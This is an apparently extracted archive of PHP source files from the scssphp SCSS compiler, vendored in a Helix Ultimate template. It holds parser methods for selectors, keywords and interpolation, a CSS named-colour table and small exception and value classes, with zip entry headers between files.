        $oldWhite = $this->eatWhiteDefault;
        $allowVars = $this->allowVars;
        $this->allowVars = true;
        $this->eatWhiteDefault = true;

        $s = $this->count;

        if (
            $this->literal('#{', 2) &&
            $this->valueList($value) &&
            $this->matchChar('}', false)
        ) {
            if ($value === [Type::T_SELF]) {
                $out = $value;
            } else {
                if ($lookWhite) {
                    $left = ($s > 0 && preg_match('/\s/', $this->buffer[$s - 1])) ? ' ' : '';
                    $right = (
                        ! empty($this->buffer[$this->count]) &&
                        preg_match('/\s/', $this->buffer[$this->count])
                    ) ? ' ' : '';
                } else {
                    $left = $right = false;
                }

                $out = [Type::T_INTERPOLATE, $value, $left, $right];
            }

            $this->eatWhiteDefault = $oldWhite;
            $this->allowVars = $allowVars;

            if ($this->eatWhiteDefault) {
                $this->whitespace();
            }

            return true;
        }

        $this->seek($s);

        $this->eatWhiteDefault = $oldWhite;
        $this->allowVars = $allowVars;

        return false;
    }

    /**
     * Parse property name (as an array of parts or a string)
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function propertyName(&$out)
    {
        $parts = [];

        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        for (;;) {
            if ($this->interpolation($inter)) {
                $parts[] = $inter;
                continue;
            }

            if ($this->keyword($text)) {
                $parts[] = $text;
                continue;
            }

            if (! $parts && $this->match('[:.#]', $m, false)) {
                // css hacks
                $parts[] = $m[0];
                continue;
            }

            break;
        }

        $this->eatWhiteDefault = $oldWhite;

        if (! $parts) {
            return false;
        }

        // match comment hack
        if (preg_match(static::$whitePattern, $this->buffer, $m, 0, $this->count)) {
            if (! empty($m[0])) {
                $parts[] = $m[0];
                $this->count += \strlen($m[0]);
            }
        }

        $this->whitespace(); // get any extra whitespace

        $out = [Type::T_STRING, '', $parts];

        return true;
    }

    /**
     * Parse custom property name (as an array of parts or a string)
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function customProperty(&$out)
    {
        $s = $this->count;

        if (! $this->literal('--', 2, false)) {
            return false;
        }

        $parts = ['--'];

        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        for (;;) {
            if ($this->interpolation($inter)) {
                $parts[] = $inter;
                continue;
            }

            if ($this->matchChar('&', false)) {
                $parts[] = [Type::T_SELF];
                continue;
            }

            if ($this->variable($var)) {
                $parts[] = $var;
                continue;
            }

            if ($this->keyword($text)) {
                $parts[] = $text;
                continue;
            }

            break;
        }

        $this->eatWhiteDefault = $oldWhite;

        if (\count($parts) == 1) {
            $this->seek($s);

            return false;
        }

        $this->whitespace(); // get any extra whitespace

        $out = [Type::T_STRING, '', $parts];

        return true;
    }

    /**
     * Parse comma separated selector list
     *
     * @param array $out
     * @param string|boolean $subSelector
     *
     * @return boolean
     */
    protected function selectors(&$out, $subSelector = false)
    {
        $s = $this->count;
        $selectors = [];

        while ($this->selector($sel, $subSelector)) {
            $selectors[] = $sel;

            if (! $this->matchChar(',', true)) {
                break;
            }

            while ($this->matchChar(',', true)) {
                ; // ignore extra
            }
        }

        if (! $selectors) {
            $this->seek($s);

            return false;
        }

        $out = $selectors;

        return true;
    }

    /**
     * Parse whitespace separated selector list
     *
     * @param array          $out
     * @param string|boolean $subSelector
     *
     * @return boolean
     */
    protected function selector(&$out, $subSelector = false)
    {
        $selector = [];

        $discardComments = $this->discardComments;
        $this->discardComments = true;

        for (;;) {
            $s = $this->count;

            if ($this->match('[>+~]+', $m, true)) {
                if (
                    $subSelector && \is_string($subSelector) && strpos($subSelector, 'nth-') === 0 &&
                    $m[0] === '+' && $this->match("(\d+|n\b)", $counter)
                ) {
                    $this->seek($s);
                } else {
                    $selector[] = [$m[0]];
                    continue;
                }
            }

            if ($this->selectorSingle($part, $subSelector)) {
                $selector[] = $part;
                $this->whitespace();
                continue;
            }

            break;
        }

        $this->discardComments = $discardComments;

        if (! $selector) {
            return false;
        }

        $out = $selector;

        return true;
    }

    /**
     * parsing escaped chars in selectors:
     * - escaped single chars are kept escaped in the selector but in a normalized form
     *   (if not in 0-9a-f range as this would be ambigous)
     * - other escaped sequences (multibyte chars or 0-9a-f) are kept in their initial escaped form,
     *   normalized to lowercase
     *
     * TODO: this is a fallback solution. Ideally escaped chars in selectors should be encoded as the genuine chars,
     * and escaping added when printing in the Compiler, where/if it's mandatory
     * - but this require a better formal selector representation instead of the array we have now
     *
     * @param string $out
     * @param bool $keepEscapedNumber
     * @return bool
     */
    protected function matchEscapeCharacterInSelector(&$out, $keepEscapedNumber = false)
    {
        $s_escape = $this->count;
        if ($this->match('\\\\', $m)) {
            $out = '\\' . $m[0];
            return true;
        }

        if ($this->matchEscapeCharacter($escapedout, true)) {
            if (strlen($escapedout) === 1) {
                if (!preg_match(",\w,", $escapedout)) {
                    $out = '\\' . $escapedout;
                    return true;
                } elseif (! $keepEscapedNumber || ! \is_numeric($escapedout)) {
                    $out = $escapedout;
                    return true;
                }
            }
            $escape_sequence = rtrim(substr($this->buffer, $s_escape, $this->count - $s_escape));
            if (strlen($escape_sequence) < 6) {
                $escape_sequence .= ' ';
            }
            $out = '\\' . strtolower($escape_sequence);
            return true;
        }
        if ($this->match('\\S', $m)) {
            $out = '\\' . $m[0];
            return true;
        }


        return false;
    }

    /**
     * Parse the parts that make up a selector
     *
     * {@internal
     *     div[yes=no]#something.hello.world:nth-child(-2n+1)%placeholder
     * }}
     *
     * @param array          $out
     * @param string|boolean $subSelector
     *
     * @return boolean
     */
    protected function selectorSingle(&$out, $subSelector = false)
    {
        $oldWhite = $this->eatWhiteDefault;
        $this->eatWhiteDefault = false;

        $parts = [];

        if ($this->matchChar('*', false)) {
            $parts[] = '*';
        }

        for (;;) {
            if (! isset($this->buffer[$this->count])) {
                break;
            }

            $s = $this->count;
            $char = $this->buffer[$this->count];

            // see if we can stop early
            if ($char === '{' || $char === ',' || $char === ';' || $char === '}' || $char === '@') {
                break;
            }

            // parsing a sub selector in () stop with the closing )
            if ($subSelector && $char === ')') {
                break;
            }

            //self
            switch ($char) {
                case '&':
                    $parts[] = Compiler::$selfSelector;
                    $this->count++;
                    ! $this->cssOnly || $this->assertPlainCssValid(false, $s);
                    continue 2;

                case '.':
                    $parts[] = '.';
                    $this->count++;
                    continue 2;

                case '|':
                    $parts[] = '|';
                    $this->count++;
                    continue 2;
            }

            // handling of escaping in selectors : get the escaped char
            if ($char === '\\') {
                $this->count++;
                if ($this->matchEscapeCharacterInSelector($escaped, true)) {
                    $parts[] = $escaped;
                    continue;
                }
                $this->count--;
            }

            if ($char === '%') {
                $this->count++;

                if ($this->placeholder($placeholder)) {
                    $parts[] = '%';
                    $parts[] = $placeholder;
                    ! $this->cssOnly || $this->assertPlainCssValid(false, $s);
                    continue;
                }

                break;
            }

            if ($char === '#') {
                if ($this->interpolation($inter)) {
                    $parts[] = $inter;
                    ! $this->cssOnly || $this->assertPlainCssValid(false, $s);
                    continue;
                }

                $parts[] = '#';
                $this->count++;
                continue;
            }

            // a pseudo selector
            if ($char === ':') {
                if ($this->buffer[$this->count + 1] === ':') {
                    $this->count += 2;
                    $part = '::';
                } else {
                    $this->count++;
                    $part = ':';
                }

                if ($this->mixedKeyword($nameParts, true)) {
                    $parts[] = $part;

                    foreach ($nameParts as $sub) {
                        $parts[] = $sub;
                    }

                    $ss = $this->count;

                    if (
                        $nameParts === ['not'] ||
                        $nameParts === ['is'] ||
                        $nameParts === ['has'] ||
                        $nameParts === ['where'] ||
                        $nameParts === ['slotted'] ||
                        $nameParts === ['nth-child'] ||
                        $nameParts === ['nth-last-child'] ||
                        $nameParts === ['nth-of-type'] ||
                        $nameParts === ['nth-last-of-type']
                    ) {
                        if (
                            $this->matchChar('(', true) &&
                            ($this->selectors($subs, reset($nameParts)) || true) &&
                            $this->matchChar(')')
                        ) {
                            $parts[] = '(';

                            while ($sub = array_shift($subs)) {
                                while ($ps = array_shift($sub)) {
                                    foreach ($ps as &$p) {
                                        $parts[] = $p;
                                    }

                                    if (\count($sub) && reset($sub)) {
                                        $parts[] = ' ';
                                    }
                                }

                                if (\count($subs) && reset($subs)) {
                                    $parts[] = ', ';
                                }
                            }

                            $parts[] = ')';
                        } else {
                            $this->seek($ss);
                        }
                    } elseif (
                        $this->matchChar('(', true) &&
                        ($this->openString(')', $str, '(') || true) &&
                        $this->matchChar(')')
                    ) {
                        $parts[] = '(';

                        if (! empty($str)) {
                            $parts[] = $str;
                        }

                        $parts[] = ')';
                    } else {
                        $this->seek($ss);
                    }

                    continue;
                }
            }

            $this->seek($s);

            // 2n+1
            if ($subSelector && \is_string($subSelector) && strpos($subSelector, 'nth-') === 0) {
                if ($this->match("(\s*(\+\s*|\-\s*)?(\d+|n|\d+n))+", $counter)) {
                    $parts[] = $counter[0];
                    //$parts[] = str_replace(' ', '', $counter[0]);
                    continue;
                }
            }

            $this->seek($s);

            // attribute selector
            if (
                $char === '[' &&
                $this->matchChar('[') &&
                ($this->openString(']', $str, '[') || true) &&
                $this->matchChar(']')
            ) {
                $parts[] = '[';

                if (! empty($str)) {
                    $parts[] = $str;
                }

                $parts[] = ']';
                continue;
            }

            $this->seek($s);

            // for keyframes
            if ($this->unit($unit)) {
                $parts[] = $unit;
                continue;
            }

            if ($this->restrictedKeyword($name, false, true)) {
                $parts[] = $name;
                continue;
            }

            break;
        }

        $this->eatWhiteDefault = $oldWhite;

        if (! $parts) {
            return false;
        }

        $out = $parts;

        return true;
    }

    /**
     * Parse a variable
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function variable(&$out)
    {
        $s = $this->count;

        if (
            $this->matchChar('$', false) &&
            $this->keyword($name)
        ) {
            if ($this->allowVars) {
                $out = [Type::T_VARIABLE, $name];
            } else {
                $out = [Type::T_KEYWORD, '$' . $name];
            }

            return true;
        }

        $this->seek($s);

        return false;
    }

    /**
     * Parse a keyword
     *
     * @param string  $word
     * @param boolean $eatWhitespace
     * @param boolean $inSelector
     *
     * @return boolean
     */
    protected function keyword(&$word, $eatWhitespace = null, $inSelector = false)
    {
        $s = $this->count;
        $match = $this->match(
            $this->utf8
                ? '(([\pL\w\x{00A0}-\x{10FFFF}_\-\*!"\']|\\\\[a-f0-9]{6} ?|\\\\[a-f0-9]{1,5}(?![a-f0-9]) ?|[\\\\].)([\pL\w\x{00A0}-\x{10FFFF}\-_"\']|\\\\[a-f0-9]{6} ?|\\\\[a-f0-9]{1,5}(?![a-f0-9]) ?|[\\\\].)*)'
                : '(([\w_\-\*!"\']|\\\\[a-f0-9]{6} ?|\\\\[a-f0-9]{1,5}(?![a-f0-9]) ?|[\\\\].)([\w\-_"\']|\\\\[a-f0-9]{6} ?|\\\\[a-f0-9]{1,5}(?![a-f0-9]) ?|[\\\\].)*)',
            $m,
            false
        );

        if ($match) {
            $word = $m[1];

            // handling of escaping in keyword : get the escaped char
            if (strpos($word, '\\') !== false) {
                $send = $this->count;
                $escapedWord = [];
                $this->seek($s);
                $previousEscape = false;
                while ($this->count < $send) {
                    $char = $this->buffer[$this->count];
                    $this->count++;
                    if (
                        $this->count < $send
                        && $char === '\\'
                        && !$previousEscape
                        && (
                            $inSelector ?
                                $this->matchEscapeCharacterInSelector($out)
                                :
                                $this->matchEscapeCharacter($out, true)
                        )
                    ) {
                        $escapedWord[] = $out;
                    } else {
                        if ($previousEscape) {
                            $previousEscape = false;
                        } elseif ($char === '\\') {
                            $previousEscape = true;
                        }
                        $escapedWord[] = $char;
                    }
                }

                $word = implode('', $escapedWord);
            }

            if (is_null($eatWhitespace) ? $this->eatWhiteDefault : $eatWhitespace) {
                $this->whitespace();
            }

            return true;
        }

        return false;
    }

    /**
     * Parse a keyword that should not start with a number
     *
     * @param string  $word
     * @param boolean $eatWhitespace
     * @param boolean $inSelector
     *
     * @return boolean
     */
    protected function restrictedKeyword(&$word, $eatWhitespace = null, $inSelector = false)
    {
        $s = $this->count;

        if ($this->keyword($word, $eatWhitespace, $inSelector) && (\ord($word[0]) > 57 || \ord($word[0]) < 48)) {
            return true;
        }

        $this->seek($s);

        return false;
    }

    /**
     * Parse a placeholder
     *
     * @param string|array $placeholder
     *
     * @return boolean
     */
    protected function placeholder(&$placeholder)
    {
        $match = $this->match(
            $this->utf8
                ? '([\pL\w\-_]+)'
                : '([\w\-_]+)',
            $m
        );

        if ($match) {
            $placeholder = $m[1];

            return true;
        }

        if ($this->interpolation($placeholder)) {
            return true;
        }

        return false;
    }

    /**
     * Parse a url
     *
     * @param array $out
     *
     * @return boolean
     */
    protected function url(&$out)
    {
        if ($this->literal('url(', 4)) {
            $s = $this->count;

            if (
                ($this->string($out) || $this->spaceList($out)) &&
                $this->matchChar(')')
            ) {
                $out = [Type::T_STRING, '', ['url(', $out, ')']];

                return true;
            }

            $this->seek($s);

            if (
                $this->openString(')', $out) &&
                $this->matchChar(')')
            ) {
                $out = [Type::T_STRING, '', ['url(', $out, ')']];

                return true;
            }
        }

        return false;
    }

    /**
     * Consume an end of statement delimiter
     * @param bool $eatWhitespace
     *
     * @return boolean
     */
    protected function end($eatWhitespace = null)
    {
        if ($this->matchChar(';', $eatWhitespace)) {
            return true;
        }

        if ($this->count === \strlen($this->buffer) || $this->buffer[$this->count] === '}') {
            // if there is end of file or a closing block next then we don't need a ;
            return true;
        }

        return false;
    }

    /**
     * Strip assignment flag from the list
     *
     * @param array $value
     *
     * @return array
     */
    protected function stripAssignmentFlags(&$value)
    {
        $flags = [];

        for ($token = &$value; $token[0] === Type::T_LIST && ($s = \count($token[2])); $token = &$lastNode) {
            $lastNode = &$token[2][$s - 1];

            while ($lastNode[0] === Type::T_KEYWORD && \in_array($lastNode[1], ['!default', '!global'])) {
                array_pop($token[2]);

                $node     = end($token[2]);
                $token    = $this->flattenList($token);
                $flags[]  = $lastNode[1];
                $lastNode = $node;
            }
        }

        return $flags;
    }

    /**
     * Strip optional flag from selector list
     *
     * @param array $selectors
     *
     * @return string
     */
    protected function stripOptionalFlag(&$selectors)
    {
        $optional = false;
        $selector = end($selectors);
        $part     = end($selector);

        if ($part === ['!optional']) {
            array_pop($selectors[\count($selectors) - 1]);

            $optional = true;
        }

        return $optional;
    }

    /**
     * Turn list of length 1 into value type
     *
     * @param array $value
     *
     * @return array
     */
    protected function flattenList($value)
    {
        if ($value[0] === Type::T_LIST && \count($value[2]) === 1) {
            return $this->flattenList($value[2][0]);
        }

        return $value;
    }

    /**
     * Quote regular expression
     *
     * @param string $what
     *
     * @return string
     */
    private function pregQuote($what)
    {
        return preg_quote($what, '/');
    }

    /**
     * Extract line numbers from buffer
     *
     * @param string $buffer
     */
    private function extractLineNumbers($buffer)
    {
        $this->sourcePositions = [0 => 0];
        $prev = 0;

        while (($pos = strpos($buffer, "\n", $prev)) !== false) {
            $this->sourcePositions[] = $pos;
            $prev = $pos + 1;
        }

        $this->sourcePositions[] = \strlen($buffer);

        if (substr($buffer, -1) !== "\n") {
            $this->sourcePositions[] = \strlen($buffer) + 1;
        }
    }

    /**
     * Get source line number and column (given character position in the buffer)
     *
     * @param integer $pos
     *
     * @return array
     */
    private function getSourcePosition($pos)
    {
        $low = 0;
        $high = \count($this->sourcePositions);

        while ($low < $high) {
            $mid = (int) (($high + $low) / 2);

            if ($pos < $this->sourcePositions[$mid]) {
                $high = $mid - 1;
                continue;
            }

            if ($pos >= $this->sourcePositions[$mid + 1]) {
                $low = $mid + 1;
                continue;
            }

            return [$mid + 1, $pos - $this->sourcePositions[$mid]];
        }

        return [$low + 1, $pos - $this->sourcePositions[$low]];
    }

    /**
     * Save internal encoding of mbstring
     *
     * When mbstring.func_overload is used to replace the standard PHP string functions,
     * this method configures the internal encoding to a single-byte one so that the
     * behavior matches the normal behavior of PHP string functions while using the parser.
     * The existing internal encoding is saved and will be restored when calling {@see restoreEncoding}.
     *
     * If mbstring.func_overload is not used (or does not override string functions), this method is a no-op.
     *
     * @return void
     */
    private function saveEncoding()
    {
        if (\PHP_VERSION_ID < 80000 && \extension_loaded('mbstring') && (2 & (int) ini_get('mbstring.func_overload')) > 0) {
            $this->encoding = mb_internal_encoding();

            mb_internal_encoding('iso-8859-1');
        }
    }

    /**
     * Restore internal encoding
     *
     * @return void
     */
    private function restoreEncoding()
    {
        if (\extension_loaded('mbstring') && $this->encoding) {
            mb_internal_encoding($this->encoding);
        }
    }
}
PK!@R��ss>helixultimate/vendor/scssphp/scssphp/src/CompilationResult.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

class CompilationResult
{
    /**
     * @var string
     */
    private $css;

    /**
     * @var string|null
     */
    private $sourceMap;

    /**
     * @var string[]
     */
    private $includedFiles;

    /**
     * @param string $css
     * @param string|null $sourceMap
     * @param string[] $includedFiles
     */
    public function __construct($css, $sourceMap, array $includedFiles)
    {
        $this->css = $css;
        $this->sourceMap = $sourceMap;
        $this->includedFiles = $includedFiles;
    }

    /**
     * @return string
     */
    public function getCss()
    {
        return $this->css;
    }

    /**
     * @return string[]
     */
    public function getIncludedFiles()
    {
        return $this->includedFiles;
    }

    /**
     * The sourceMap content, if it was generated
     *
     * @return null|string
     */
    public function getSourceMap()
    {
        return $this->sourceMap;
    }
}
PK!�Ѳ��3helixultimate/vendor/scssphp/scssphp/src/Colors.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

/**
 * CSS Colors
 *
 * @author Leaf Corcoran <leafot@gmail.com>
 *
 * @internal
 */
class Colors
{
    /**
     * CSS Colors
     *
     * @see http://www.w3.org/TR/css3-color
     *
     * @var array<string, string>
     */
    protected static $cssColors = [
        'aliceblue' => '240,248,255',
        'antiquewhite' => '250,235,215',
        'aqua' => '0,255,255',
        'cyan' => '0,255,255',
        'aquamarine' => '127,255,212',
        'azure' => '240,255,255',
        'beige' => '245,245,220',
        'bisque' => '255,228,196',
        'black' => '0,0,0',
        'blanchedalmond' => '255,235,205',
        'blue' => '0,0,255',
        'blueviolet' => '138,43,226',
        'brown' => '165,42,42',
        'burlywood' => '222,184,135',
        'cadetblue' => '95,158,160',
        'chartreuse' => '127,255,0',
        'chocolate' => '210,105,30',
        'coral' => '255,127,80',
        'cornflowerblue' => '100,149,237',
        'cornsilk' => '255,248,220',
        'crimson' => '220,20,60',
        'darkblue' => '0,0,139',
        'darkcyan' => '0,139,139',
        'darkgoldenrod' => '184,134,11',
        'darkgray' => '169,169,169',
        'darkgrey' => '169,169,169',
        'darkgreen' => '0,100,0',
        'darkkhaki' => '189,183,107',
        'darkmagenta' => '139,0,139',
        'darkolivegreen' => '85,107,47',
        'darkorange' => '255,140,0',
        'darkorchid' => '153,50,204',
        'darkred' => '139,0,0',
        'darksalmon' => '233,150,122',
        'darkseagreen' => '143,188,143',
        'darkslateblue' => '72,61,139',
        'darkslategray' => '47,79,79',
        'darkslategrey' => '47,79,79',
        'darkturquoise' => '0,206,209',
        'darkviolet' => '148,0,211',
        'deeppink' => '255,20,147',
        'deepskyblue' => '0,191,255',
        'dimgray' => '105,105,105',
        'dimgrey' => '105,105,105',
        'dodgerblue' => '30,144,255',
        'firebrick' => '178,34,34',
        'floralwhite' => '255,250,240',
        'forestgreen' => '34,139,34',
        'fuchsia' => '255,0,255',
        'magenta' => '255,0,255',
        'gainsboro' => '220,220,220',
        'ghostwhite' => '248,248,255',
        'gold' => '255,215,0',
        'goldenrod' => '218,165,32',
        'gray' => '128,128,128',
        'grey' => '128,128,128',
        'green' => '0,128,0',
        'greenyellow' => '173,255,47',
        'honeydew' => '240,255,240',
        'hotpink' => '255,105,180',
        'indianred' => '205,92,92',
        'indigo' => '75,0,130',
        'ivory' => '255,255,240',
        'khaki' => '240,230,140',
        'lavender' => '230,230,250',
        'lavenderblush' => '255,240,245',
        'lawngreen' => '124,252,0',
        'lemonchiffon' => '255,250,205',
        'lightblue' => '173,216,230',
        'lightcoral' => '240,128,128',
        'lightcyan' => '224,255,255',
        'lightgoldenrodyellow' => '250,250,210',
        'lightgray' => '211,211,211',
        'lightgrey' => '211,211,211',
        'lightgreen' => '144,238,144',
        'lightpink' => '255,182,193',
        'lightsalmon' => '255,160,122',
        'lightseagreen' => '32,178,170',
        'lightskyblue' => '135,206,250',
        'lightslategray' => '119,136,153',
        'lightslategrey' => '119,136,153',
        'lightsteelblue' => '176,196,222',
        'lightyellow' => '255,255,224',
        'lime' => '0,255,0',
        'limegreen' => '50,205,50',
        'linen' => '250,240,230',
        'maroon' => '128,0,0',
        'mediumaquamarine' => '102,205,170',
        'mediumblue' => '0,0,205',
        'mediumorchid' => '186,85,211',
        'mediumpurple' => '147,112,219',
        'mediumseagreen' => '60,179,113',
        'mediumslateblue' => '123,104,238',
        'mediumspringgreen' => '0,250,154',
        'mediumturquoise' => '72,209,204',
        'mediumvioletred' => '199,21,133',
        'midnightblue' => '25,25,112',
        'mintcream' => '245,255,250',
        'mistyrose' => '255,228,225',
        'moccasin' => '255,228,181',
        'navajowhite' => '255,222,173',
        'navy' => '0,0,128',
        'oldlace' => '253,245,230',
        'olive' => '128,128,0',
        'olivedrab' => '107,142,35',
        'orange' => '255,165,0',
        'orangered' => '255,69,0',
        'orchid' => '218,112,214',
        'palegoldenrod' => '238,232,170',
        'palegreen' => '152,251,152',
        'paleturquoise' => '175,238,238',
        'palevioletred' => '219,112,147',
        'papayawhip' => '255,239,213',
        'peachpuff' => '255,218,185',
        'peru' => '205,133,63',
        'pink' => '255,192,203',
        'plum' => '221,160,221',
        'powderblue' => '176,224,230',
        'purple' => '128,0,128',
        'red' => '255,0,0',
        'rosybrown' => '188,143,143',
        'royalblue' => '65,105,225',
        'saddlebrown' => '139,69,19',
        'salmon' => '250,128,114',
        'sandybrown' => '244,164,96',
        'seagreen' => '46,139,87',
        'seashell' => '255,245,238',
        'sienna' => '160,82,45',
        'silver' => '192,192,192',
        'skyblue' => '135,206,235',
        'slateblue' => '106,90,205',
        'slategray' => '112,128,144',
        'slategrey' => '112,128,144',
        'snow' => '255,250,250',
        'springgreen' => '0,255,127',
        'steelblue' => '70,130,180',
        'tan' => '210,180,140',
        'teal' => '0,128,128',
        'thistle' => '216,191,216',
        'tomato' => '255,99,71',
        'turquoise' => '64,224,208',
        'violet' => '238,130,238',
        'wheat' => '245,222,179',
        'white' => '255,255,255',
        'whitesmoke' => '245,245,245',
        'yellow' => '255,255,0',
        'yellowgreen' => '154,205,50',
        'rebeccapurple' => '102,51,153',
        'transparent' => '0,0,0,0',
    ];

    /**
     * Convert named color in a [r,g,b[,a]] array
     *
     * @param string $colorName
     *
     * @return int[]|null
     */
    public static function colorNameToRGBa($colorName)
    {
        if (\is_string($colorName) && isset(static::$cssColors[$colorName])) {
            $rgba = explode(',', static::$cssColors[$colorName]);

            // only case with opacity is transparent, with opacity=0, so we can intval on opacity also
            $rgba = array_map('intval', $rgba);

            return $rgba;
        }

        return null;
    }

    /**
     * Reverse conversion : from RGBA to a color name if possible
     *
     * @param integer $r
     * @param integer $g
     * @param integer $b
     * @param integer|float $a
     *
     * @return string|null
     */
    public static function RGBaToColorName($r, $g, $b, $a = 1)
    {
        static $reverseColorTable = null;

        if (! is_numeric($r) || ! is_numeric($g) || ! is_numeric($b) || ! is_numeric($a)) {
            return null;
        }

        if ($a < 1) {
            return null;
        }

        if (\is_null($reverseColorTable)) {
            $reverseColorTable = [];

            foreach (static::$cssColors as $name => $rgb_str) {
                $rgb_str = explode(',', $rgb_str);

                if (
                    \count($rgb_str) == 3 &&
                    ! isset($reverseColorTable[\intval($rgb_str[0])][\intval($rgb_str[1])][\intval($rgb_str[2])])
                ) {
                    $reverseColorTable[\intval($rgb_str[0])][\intval($rgb_str[1])][\intval($rgb_str[2])] = $name;
                }
            }
        }

        if (isset($reverseColorTable[\intval($r)][\intval($g)][\intval($b)])) {
            return $reverseColorTable[\intval($r)][\intval($g)][\intval($b)];
        }

        return null;
    }
}
PK!0H��8helixultimate/vendor/scssphp/scssphp/src/OutputStyle.phpnu&1i�<?php

namespace ScssPhp\ScssPhp;

final class OutputStyle
{
    const EXPANDED = 'expanded';
    const COMPRESSED = 'compressed';
}
PK!�ܤ���2helixultimate/vendor/scssphp/scssphp/src/Block.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

/**
 * Block
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @internal
 */
class Block
{
    /**
     * @var string
     */
    public $type;

    /**
     * @var \ScssPhp\ScssPhp\Block
     */
    public $parent;

    /**
     * @var string
     */
    public $sourceName;

    /**
     * @var integer
     */
    public $sourceIndex;

    /**
     * @var integer
     */
    public $sourceLine;

    /**
     * @var integer
     */
    public $sourceColumn;

    /**
     * @var array|null
     */
    public $selectors;

    /**
     * @var array
     */
    public $comments;

    /**
     * @var array
     */
    public $children;

    /**
     * @var \ScssPhp\ScssPhp\Block|null
     */
    public $selfParent;
}
PK!j�||Hhelixultimate/vendor/scssphp/scssphp/src/Exception/CompilerException.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Exception;

/**
 * Compiler exception
 *
 * @author Oleksandr Savchenko <traveltino@gmail.com>
 *
 * @internal
 */
class CompilerException extends \Exception implements SassException
{
}
PK!�o-�..Fhelixultimate/vendor/scssphp/scssphp/src/Exception/ParserException.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Exception;

/**
 * Parser Exception
 *
 * @author Oleksandr Savchenko <traveltino@gmail.com>
 *
 * @internal
 */
class ParserException extends \Exception implements SassException
{
    /**
     * @var array
     */
    private $sourcePosition;

    /**
     * Get source position
     *
     * @api
     */
    public function getSourcePosition()
    {
        return $this->sourcePosition;
    }

    /**
     * Set source position
     *
     * @api
     *
     * @param array $sourcePosition
     */
    public function setSourcePosition($sourcePosition)
    {
        $this->sourcePosition = $sourcePosition;
    }
}
PK!�8��IIDhelixultimate/vendor/scssphp/scssphp/src/Exception/SassException.phpnu&1i�<?php

namespace ScssPhp\ScssPhp\Exception;

interface SassException
{
}
PK!��4looEhelixultimate/vendor/scssphp/scssphp/src/Exception/RangeException.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Exception;

/**
 * Range exception
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @internal
 */
class RangeException extends \Exception implements SassException
{
}
PK!bӆ���Jhelixultimate/vendor/scssphp/scssphp/src/Exception/SassScriptException.phpnu&1i�<?php

namespace ScssPhp\ScssPhp\Exception;

/**
 * An exception thrown by SassScript.
 *
 * This class does not implement SassException on purpose, as it should
 * never be returned to the outside code. The compilation will catch it
 * and replace it with a SassException reporting the location of the
 * error.
 */
class SassScriptException extends \Exception
{
    /**
     * Creates a SassScriptException with support for an argument name.
     *
     * This helper ensures a consistent handling of argument names in the
     * error message, without duplicating it.
     *
     * @param string      $message
     * @param string|null $name    The argument name, without $
     *
     * @return SassScriptException
     */
    public static function forArgument($message, $name = null)
    {
        $varDisplay = !\is_null($name) ? "\${$name}: " : '';

        return new self($varDisplay . $message);
    }
}
PK!��Fhelixultimate/vendor/scssphp/scssphp/src/Exception/ServerException.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp\Exception;

@trigger_error(sprintf('The "%s" class is deprecated.', ServerException::class), E_USER_DEPRECATED);

/**
 * Server Exception
 *
 * @author Anthon Pang <anthon.pang@gmail.com>
 *
 * @deprecated The Scssphp server should define its own exception instead.
 */
class ServerException extends \Exception implements SassException
{
}
PK!I��"	"	;helixultimate/vendor/scssphp/scssphp/src/ValueConverter.phpnu&1i�<?php

/**
 * SCSSPHP
 *
 * @copyright 2012-2020 Leaf Corcoran
 *
 * @license http://opensource.org/licenses/MIT MIT
 *
 * @link http://scssphp.github.io/scssphp
 */

namespace ScssPhp\ScssPhp;

use ScssPhp\ScssPhp\Node\Number;

final class ValueConverter
{
    // Prevent instantiating it
    private function __construct()
    {
    }

    /**
     * Parses a value from a Scss source string.
     *
     * The returned value is guaranteed to be supported by the
     * Compiler methods for registering custom variables. No other
     * guarantee about it is provided. It should be considered
     * opaque values by the caller.
     *
     * @param string $source
     *
     * @return mixed
     */
    public static function parseValue($source)
    {
        $parser = new Parser(__CLASS__);

        if (!$parser->parseValue($source, $value)) {
            throw new \InvalidArgumentException(sprintf('Invalid value source "%s".', $source));
        }

        return $value;
    }

    /**
     * Converts a PHP value to a Sass value
     *
     * The returned value is guaranteed to be supported by the
     * Compiler methods for registering custom variables. No other
     * guarantee about it is provided. It should be considered
     * opaque values by the caller.
     *
     * @param mixed $value
     *
     * @return mixed
     */
    public static function fromPhp($value)
    {
        if ($value instanceof Number) {
            return $value;
        }

